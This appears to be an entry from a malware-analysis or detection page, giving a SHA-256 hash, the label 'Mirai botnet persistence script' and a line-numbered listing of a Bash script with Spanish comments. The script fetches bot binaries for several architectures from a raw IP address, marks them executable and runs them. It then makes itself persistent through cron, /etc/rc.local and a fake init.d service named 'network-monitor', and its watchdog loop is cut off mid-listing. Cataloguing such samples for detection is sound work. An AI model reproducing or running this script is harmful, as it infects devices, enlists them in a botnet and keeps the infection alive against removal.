243d7d7c79cccb577e5bc2eade7f2b6d32c502cbd39635f80476610035ae080c
Mirai botnet persistence script
Hidden stage is made executable and launchedRaw IP redirected download chmod execute
SHA-256243d7d7c79cccb577e5bc2eade7f2b6d32c502cbd39635f80476610035ae080c
Evidence
1#!/bin/bash
2# Script de persistencia para bots Mirai
3
4BOT_URL="http://77.90.57.20:8080"
5
6# Función para descargar y ejecutar bot
7install_bot() {
8 cd /tmp
9
10 # Probar múltiples arquitecturas
11 for arch in bot.x86 bot.arm7 bot.mips bot.mpsl bot bot_arm; do
12 wget -q -O /tmp/.bot $BOT_URL/$arch 2>/dev/null && break
13 curl -s -o /tmp/.bot $BOT_URL/$arch 2>/dev/null && break
14 done
15
16 chmod 777 /tmp/.bot 2>/dev/null
17 /tmp/.bot &
18}
19
20# Persistencia vía cron (si existe)
21if command -v crontab >/dev/null 2>&1; then
22 (crontab -l 2>/dev/null | grep -v ".bot"; echo "*/5 * * * * cd /tmp && wget -q -O .bot $BOT_URL/bot && chmod 777 .bot && ./.bot") | crontab - 2>/dev/null
23fi
24
25# Persistencia vía rc.local
26if [ -w /etc/rc.local ]; then
27 grep -q ".bot" /etc/rc.local || echo "cd /tmp && wget -q -O .bot $BOT_URL/bot && chmod 777 .bot && ./.bot &" >> /etc/rc.local
28fi
29
30# Persistencia vía init.d
31if [ -d /etc/init.d ] && [ -w /etc/init.d ]; then
32 cat > /etc/init.d/network-monitor << 'EOF'
33#!/bin/sh
34cd /tmp && wget -q -O .bot http://77.90.57.20:8080/bot && chmod 777 .bot && ./.bot &
35EOF
36 chmod +x /etc/init.d/network-monitor 2>/dev/null
37fi
38
⋯4 lines
43(
44 while true; do
45 sleep 300 # Cada 5 minutos
46
47 # Si el bot no está corriendo, reinstalar
48 if ! pgrep -f ".bot" > /dev/null; then